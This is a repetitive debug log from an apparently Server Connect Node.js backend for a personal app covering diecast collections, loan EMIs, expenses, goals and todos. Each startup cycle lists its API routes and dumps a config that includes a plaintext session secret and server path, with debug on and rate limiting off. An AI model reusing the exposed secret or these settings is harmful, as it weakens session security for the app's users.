2026-07-23T16:01:09.458Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:01:09.458Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:01:09.459Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:01:09.459Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:01:09.459Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:01:09.460Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:01:09.460Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:01:09.461Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:01:09.461Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:01:09.462Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:01:09.476Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:01:09.477Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:01:09.477Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:01:09.478Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:01:09.478Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:01:09.482Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:01:09.483Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:01:09.483Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:01:09.483Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:01:09.483Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:01:09.483Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:01:09.484Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:01:09.484Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:01:09.484Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:01:09.484Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:01:09.484Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:01:09.485Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:01:09.485Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:01:09.485Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:02:09.663Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:02:09.843Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:02:09.933Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:02:09.933Z server-connect:secure CSRF Protection initialized
2026-07-23T16:02:09.935Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:02:09.935Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:02:09.936Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:02:09.936Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:02:09.937Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:02:09.937Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:02:09.940Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:02:09.941Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:02:09.941Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:02:09.942Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:02:09.942Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:02:09.942Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:02:09.943Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:02:09.943Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:02:09.946Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:02:09.946Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:02:09.947Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:02:09.976Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:02:09.977Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:02:09.977Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:02:09.978Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:02:09.978Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:02:09.979Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:02:09.979Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:02:09.979Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:02:09.979Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:02:09.980Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:02:09.980Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:02:09.980Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:02:09.980Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:02:09.980Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:02:09.981Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:02:09.981Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:02:09.981Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:02:09.981Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:02:09.981Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:02:09.982Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:02:09.982Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:03:10.411Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:03:10.599Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:03:10.682Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:03:10.682Z server-connect:secure CSRF Protection initialized
2026-07-23T16:03:10.684Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:03:10.685Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:03:10.685Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:03:10.686Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:03:10.686Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:03:10.687Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:03:10.689Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:03:10.690Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:03:10.690Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:03:10.691Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:03:10.691Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:03:10.691Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:03:10.692Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:03:10.692Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:03:10.695Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:03:10.696Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:03:10.696Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:03:10.696Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:03:10.696Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:03:10.697Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:03:10.697Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:03:10.697Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:03:10.698Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:03:10.698Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:03:10.698Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:03:10.698Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:03:10.699Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:03:10.699Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:03:10.699Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:03:10.699Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:03:10.700Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:03:10.701Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:03:10.701Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:03:56.554Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:03:56.727Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:03:56.812Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:03:56.812Z server-connect:secure CSRF Protection initialized
2026-07-23T16:03:56.814Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:03:56.814Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:03:56.815Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:03:56.815Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:03:56.816Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:03:56.816Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:03:56.819Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:03:56.819Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:03:56.820Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:03:56.820Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:03:56.821Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:03:56.821Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:03:56.821Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:03:56.822Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:03:56.822Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:03:56.825Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:03:56.825Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:03:56.825Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:03:56.826Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:03:56.826Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:03:56.826Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:03:56.827Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:03:56.827Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:03:56.827Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:03:56.827Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:03:56.827Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:03:56.828Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:03:56.828Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:03:56.828Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:03:56.828Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:03:56.829Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:03:56.830Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:03:56.830Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:04:11.709Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:04:11.899Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:04:11.998Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:04:11.999Z server-connect:secure CSRF Protection initialized
2026-07-23T16:04:12.001Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:04:12.001Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:04:12.002Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:04:12.002Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:04:12.003Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:04:12.003Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:04:12.005Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:04:12.006Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:04:12.007Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:04:12.007Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:04:12.007Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:04:12.008Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:04:12.008Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:04:12.009Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:04:12.011Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:04:12.012Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:04:12.012Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:04:12.013Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:04:12.013Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:04:12.013Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:04:12.014Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:04:12.014Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:04:12.014Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:04:12.014Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:04:12.015Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:04:12.015Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:04:12.015Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:04:12.015Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:04:12.016Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:04:12.016Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:04:12.016Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:04:12.016Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:04:12.016Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:04:12.017Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:04:12.017Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:04:12.017Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:04:12.017Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:04:12.017Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:05:12.195Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:05:12.352Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:05:12.442Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:05:12.442Z server-connect:secure CSRF Protection initialized
2026-07-23T16:05:12.444Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:05:12.445Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:05:12.445Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:05:12.445Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:05:12.446Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:05:12.446Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:05:12.448Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:05:12.449Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:05:12.450Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:05:12.450Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:05:12.451Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:05:12.451Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:05:12.451Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:05:12.452Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:05:12.452Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:05:12.478Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:05:12.479Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:05:12.479Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:05:12.479Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:05:12.480Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:05:12.480Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:05:12.480Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:05:12.481Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:05:12.481Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:05:12.481Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:05:12.481Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:05:12.481Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:05:12.482Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:05:12.482Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:05:12.482Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:05:12.482Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:05:12.482Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:05:12.483Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:05:12.483Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:05:12.483Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:05:12.483Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:05:12.483Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:05:12.484Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:06:12.693Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:06:12.854Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:06:12.951Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:06:12.951Z server-connect:secure CSRF Protection initialized
2026-07-23T16:06:12.953Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:06:12.953Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:06:12.954Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:06:12.954Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:06:12.955Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:06:12.955Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:06:12.957Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:06:12.958Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:06:12.959Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:06:12.959Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:06:12.959Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:06:12.960Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:06:12.960Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:06:12.960Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:06:12.961Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:06:12.961Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:06:12.962Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:06:12.962Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:06:12.963Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:06:12.976Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:06:12.977Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:06:12.978Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:06:12.984Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:06:12.984Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:06:12.985Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:06:12.985Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:06:12.985Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:06:12.985Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:06:12.986Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:06:12.986Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:06:12.986Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:06:12.986Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:06:12.987Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
